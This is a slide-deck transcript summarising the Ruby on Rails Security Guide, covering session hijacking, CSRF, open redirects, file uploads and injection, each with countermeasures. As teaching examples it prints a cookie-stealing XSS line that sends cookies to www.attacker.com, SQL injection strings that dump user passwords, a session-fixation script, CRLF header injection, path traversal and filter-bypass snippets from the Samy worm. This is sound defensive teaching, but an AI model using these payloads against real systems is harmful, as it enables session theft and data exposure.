Ruby on Rails Security Guide
Transcript of Ruby on Rails Security Guide
Ruby on Rails Security Guide
Heejong Lee
http://guides.rubyonrails.org/security.html
Sessions• HTTP is stateless. Sessions make it stateful
• Usually consists of a hash of values and a session id (commonly a 32-character string)
session[:user_id] = @current_user.id User.find(session[:user_id])
Sessions
• The hash value of a random string
• Currently, not feasible to brute-force
Session id
Sessions
• The cookie serves as temporary authentication for the web application because session id in the cookie identifies the session
• Anyone who seizes a cookie from someone else, may use the web application as this user
Session Hijacking
Sessions
• Sniff the cookie in an insecure network
Session Hijacking Method
Countermeasure
• Always forcing SSL
config.force_ssl = true
Sessions
• Get cookies from a public terminal that does not logout
Session Hijacking Method
Countermeasure
• Provide the user with a logout button and make it prominent
Sessions
• Many XSS exploits aim at obtaining the user’s cookie
Session Hijacking Method
Countermeasure
• Prevent XSS. Consult XSS section
Sessions
• Many attackers prefer not stealing an unknown cookie but fixing a user’s session identifier
Session Hijacking Method
Countermeasure
• Consult session fixation section
Sessions
• Do not store large objects in a session
• Store in DB and save only their id in the session
• Critical data should not be stored in session
• if the user clears their cookies or closes the browser, they will be lost. Also, with a client-side session storage, the user can read the data
Session Guidelines
Sessions
• CookieStore saves the session hash directly in a cookie on the client-side
• Cookie imply a strict size limit of 4KB
• The client can see everything you store in a session because it is stored in clear-text (Base64-encoded)
• To prevent session hash tempering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie
Session Storage
Sessions
• secret.secret_key_base is used for specifying a secret key
Session Storage
development: secret_key_base: a75d... test: secret_key_base: 492f... production: secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
config/secrets.yml
Sessions
1. A user receives credits, the amount is stored in a session
2. The user buys something
3. The new adjusted credit value is stored in the session
4. The user takes the cookie from the first step and replaces the current cookie in the browser
5. The user has their original credit back
Replay Attacks for CookieStore Sessions
Sessions
• The best solution against the replay attack is not to store this kind of data in a session, but in the database
Replay Attacks for CookieStore Sessions
SessionsSession Fixation
SessionsSession Fixation
1. The attacker creates a valid session id: they load the login page of the web application where they want to fix the session
2. They maintain the session by accessing the web application periodically in order to keep an expiring session alive
SessionsSession Fixation
3. The attacker forces the user’s browser into using this session id
May run a JavaScript from the domain of the target web application (XSS) <script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>
SessionsSession Fixation
4. The attacker lures the victim to the infected page with the JavaScript code. As the new trap session is unused, the web application will require the user to authenticate
5. From now on, the victim and the attacker will co-use web application with the same session
SessionsSession Fixation Countermeasure
• Issue a new session identifier and declare the old one invalid after a successful login
reset_session
• Save user-specific properties in the session, verify them every time a request comes in
remote ip address, user agent, etc.
SessionsSession Expiry
• Session that never expire extend the time-frame for attacks such as CSRF, session hijacking and session fixation
• Check not only update time but also creation time to avoid session refreshing in session fixation attack
CSRFCross-Site Request Forgery
CSRFCross-Site Request Forgery
• Including malicious code or a link that access a web application that the user is believed to have authenticated
• Crafted image or link does not necessarily have to be situated in the web application’s domain. It can be anywhere.
CSRFCross-Site Request Forgery Countermeasure
• Use GET and POST appropriately
• GET: the interaction is more like a question
• POST: the interaction is more like an order. the interaction changes the state of the resource in a way that the user would perceive
• POST request can be sent automatically, too
CSRFCross-Site Request Forgery Countermeasure
• POST request can be sent automatically, too
<a href="http://www.harmless.com/" onclick=" var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = 'http://www.example.com/account/destroy'; f.submit(); return false;">To the harmless survey</a>
CSRFCross-Site Request Forgery Countermeasure
• Rails introduced a required security token:protect_from_forgery with: :exception will automatically include a security token in all forms and Ajax requests generated by Rails
• Note that XSS vulnerabilities bypass all CSRF protection
Redirection and FileRedirection
• Forwarding the user
def legacy redirect_to(params.update(action:'main')) end
http://www.example.com/site/legacy?param1=xy¶m2=23&host=www.attacker.com
will redirect to malicious site
Redirection and FileRedirection
• Self-contained XSS
data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K
the data protocol in Firefox or Opera displays its contents directly in the browser and can be anything from HTML or
JavaScript to entire images
is a Base64 encoded JavaScript which displays a simple message box
Redirection and FileRedirection Countermeasure
• Do not allow the user to supply (parts of) the URL to be redirected to
Redirection and FileFile Uploads
• Make sure file uploads don’t overwrite important files
• upload to “/var/www/uploads” with a file name “../../../etc/passwd”
• Do not try to remove malicious parts. Use a whitelist approach, not a blacklist approach
• web application removes all “../”, attacker uses a string such as “….//”. The result would still be “../”
Redirection and FileFile Uploads
• Process media files asynchronously
• Big media files can be used for denial-of-service attack
Redirection and FileExecutable Code in File Uploads
• Do not place file uploads in the subdirectories of DocumentRoot
• Do not place file uploads in Rails’ /public directory if it is Apache’s home directory
Redirection and FileFile Downloads
• Make sure users cannot download arbitrary files
send_file('/var/www/uploads/' + params[:filename])
Do NOT
Do Insteadbasename = File.expand_path(File.join(File.dirname(__FILE__), '../../files')) filename = File.expand_path(File.join(basename, @file.public_filename)) raise if basename != File.expand_path(File.join(File.dirname(filename), '../../../')) send_file filename, disposition: 'inline'
User ManagementBrute-Forcing Accounts
• Use more generic error messages and possibly require to enter a CAPTCHA
User ManagementCAPTCHAs
• A challenge-response test to determine that the response is not generated by a computer
• The problem is, they are really annoying
User ManagementNegative CAPTCHAs
• Include a honeypot field in the form which will be hidden from the human user by CSS or JavaScript
• Some ideas how to hide honeypot fields
• position the fields off of the visible area of the page
• make the elements very small or color them the same as the background of the page
• leave the fields displayed, but tell humans to leave them blank
User ManagementLogging
• Do not put password in the log file
config.filter_parameters << :password
User ManagementRegular Expressions
• A common pitfall in Ruby’s RE is to match the string’s beginning and end by ^ and $, instead of \A and \z
/^https?:\/\/[^\n]+$/i
will match
javascript:exploit_code();/* http://hi.com */
/\Ahttps?:\/\/[^\n]+\z/i
to fix
User ManagementPrivilege Escalation
• Changing a single parameter may give the user unauthorized access. Remember that every paramenter may be changed, no matter how much you hide or obfuscate it.
@project = Project.find(params[:id])
should be
@project = @current_user.projects.find(params[:id])
InjectionWhitelist vs Blacklist
• When sanitizing, protecting or verifying something, prefer whitelist over blacklist
• allow <strong> instead of removing <script>
• don’t try to correct user input by blacklist: “<sc<script>ript>”.gsub(“<script>”,“”)
InjectionSQL Injection
• Basic example
Project.where("name = '#{params[:name]}'")
put ’ OR 1 --
SELECT * FROM projects WHERE name = '' OR 1 --'
InjectionSQL Injection
• Bypassing AuthorizationUser.first("login = '#{params[:name]}' AND password = '#{params[:password]}'")
put ’ OR ‘1’=‘1 as name and ’ OR ‘2’>‘1 as password
SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
InjectionSQL Injection
• Unauthorized Reading
Project.where("name = '#{params[:name]}'")
put ’) UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
SELECT * FROM projects WHERE (name = '') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --'
Add appropriate amount of 1s to match the number of column
InjectionSQL Injection Countermeasure
• built-in filters applied
Model.find(id), Model.find_by_something(something)
• Dangerous methods
Model.where(sql fragment), Model.find_by_sql(sql)
use question mark to sanitize tainted strings
Model.where("login = ? AND password = ?", entered_user_name, entered_password).first
InjectionCross-Site Scripting (XSS)
• The most widespread, and one of the most devastating security vulnerabilities in web application
InjectionCross-Site Scripting (XSS)
• Entry points: message posts, user comments, guest books, project titles, document names, search result pages, about everywhere where the user can input data
• XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display ads, change elements on the website to get confidential information, install malicious software through security holes in the web browser
InjectionCross-Site Scripting (XSS)
• Common pattern is exploiting SQL injection vulnerability in a web application framework and insert malicious code in every textual table column
• In April 2008 more than 510,000 sites were hacked this way, among them the British government, United Nations
• Entry point can even be a banner advertisement
InjectionCross-Site Scripting (XSS)• Most straightforward test to check for XSS
<script>alert('Hello');</script>
in very uncommon places
<img src=javascript:alert('Hello')> <table background="javascript:alert('Hello')">
InjectionCross-Site Scripting (XSS)• Cookie theft
<script>document.write(document.cookie);</script>
shows one’s own cookie on the browser and still satisfies the same origin policy
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
However, an attacker can steal the victim’s cookie like
The log file on www.attacker.com will read like
GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
InjectionCross-Site Scripting (XSS)
• Defacement
• Overlap the entire or part of the web page with a fake web page
• iframe is the most popular way to include code from external sources
• unescaped search string is also dangerous
InjectionCross-Site Scripting Countermeasure
• Filter a malicious input, and also escape the output of the web application
• Again, use whitelist filtering instead of blacklist. Blacklist are never complete
InjectionCross-Site Scripting Countermeasure• Rails filter methods (strip_tags(), strip_links(), sanitize())
used a blacklist approach
strip_tags("some<<b>script>alert('hello')<</b>/script>")
returns
some<script>alert('hello')</script>
InjectionCross-Site Scripting Countermeasure• Updated Rails 2 filter methods (strip_tags(), strip_links(),
sanitize()) use a whitelist approach
tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p) s = sanitize(user_input, tags: tags, attributes: %w(href title))
InjectionCross-Site Scripting Countermeasure
• Use escapeHTML() (or h())
• It replaces replace the HTML input characters &, ", <, > by their uninterpreted representations in HTML (&, ", <, and >)
• Consider SafeErb gem. SafeErb reminds you to escape strings from external sources
InjectionCross-Site Scripting Countermeasure• Rails sanitize() filter also recognizes encoded injection
<IMG SRC=javascript:alert('XSS')>
pops up a message box
InjectionReal-world Example• Js.Yamanner@m Yahoo! Mail worm appeared on June 11, 2006
<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif' target=""onload="var http_request = false; var Email = ‘'; var IDList = ‘'; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ...
exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there
can be JavaScript). The filter is applied only once.
InjectionCSS Injection
• MySpace Samy Worm Case Study
• The worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile
• Within several hours, he had over 1 million friend requests
• It creates too much traffic on MySpace, so that the site goes offline
InjectionCSS Injection• MySpace Samy Worm Case Study
MySpace blocks many tags, however it allow CSS
<div style="background:url('javascript:alert(1)')">
But we cannot use either double and single quotes in the style attribute
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(
document.all.mycode.expr)')">
Aha! eval() allows to extract the payload outside of the style attribute
InjectionCSS Injection• MySpace Samy Worm Case Study
MySpace filters the word ‘javascript’, let’s get around this
<div id="mycode" expr=“alert('hah!')" style="background:url('java↵script:eval(document.all.mycode.expr)')">
Last problem was the CSRF security token
The attacker (Samy) got around it by sending GET to the page right before adding a user and parsing the result for the CSRF token
In the end, the attacker got a 4KB worm, which he injected into his profile page
InjectionCommand Line Injection• Use user-supplied command line parameters with
caution
• Use system(command, parameters) instead of exec(command), syscall(command), system(command)
system("/bin/echo","hello; rm *") # prints "hello; rm *" and does not delete files
InjectionHeader Injection
• HTTP request headers are user-supplied and may be manipulated with more or less effort
• Be careful when you display the user agent in an administrator area
• HTTP response headers partly based on user input could be dangerous
InjectionHeader Injection
redirect_to params[:referer]
Rails puts the string into the Location header field and sends a 302 status to the browser
http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://
www.malicious.tld
The second location overwrites the first
HTTP/1.1 302 Moved Temporarily (...) Location: http://www.malicious.tld
InjectionHeader Injection
HTTP/1.1 302 Found [First standard 302 response] Date: Tue, 12 Apr 2005 22:09:07 GMT Location: Content-Type: text/html HTTP/1.1 200 OK [Second New response created by attacker begins] Content-Type: text/html <html><font color=red>hey</font></html> [Arbitary malicious input is shown as the redirected page] Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html
• Response Splitting
However, only seems to work with Keep-Alive connections
InjectionHeader Injection Countermeasure
• Filter CRLFs from user inputs in response headers
• Use Rails version 2.1.2 or higher
Unsafe Query Generationunless params[:token].nil? user = User.find_by_token(params[:token]) user.reset_password! end
When params[:token] is one of : [], [nil], [nil,nil,…], [‘foo’,nil], it will bypass the test for nil
IS NULL or IN ('foo', NULL) where clauses will unexpectedly be added to the result SQL
Unsafe Query Generationconfig.action_dispatch.perform_deep_munge = true
The default deep_munge option translates the followings
JSON Parameters
{ "person": null } { :person => nil }
{ "person": [] } { :person => nil }
{ "person": [null] } { :person => nil }
{ "person": [null, null, ...] } { :person => nil }
{ "person": ["foo", null] } { :person => ["foo"] }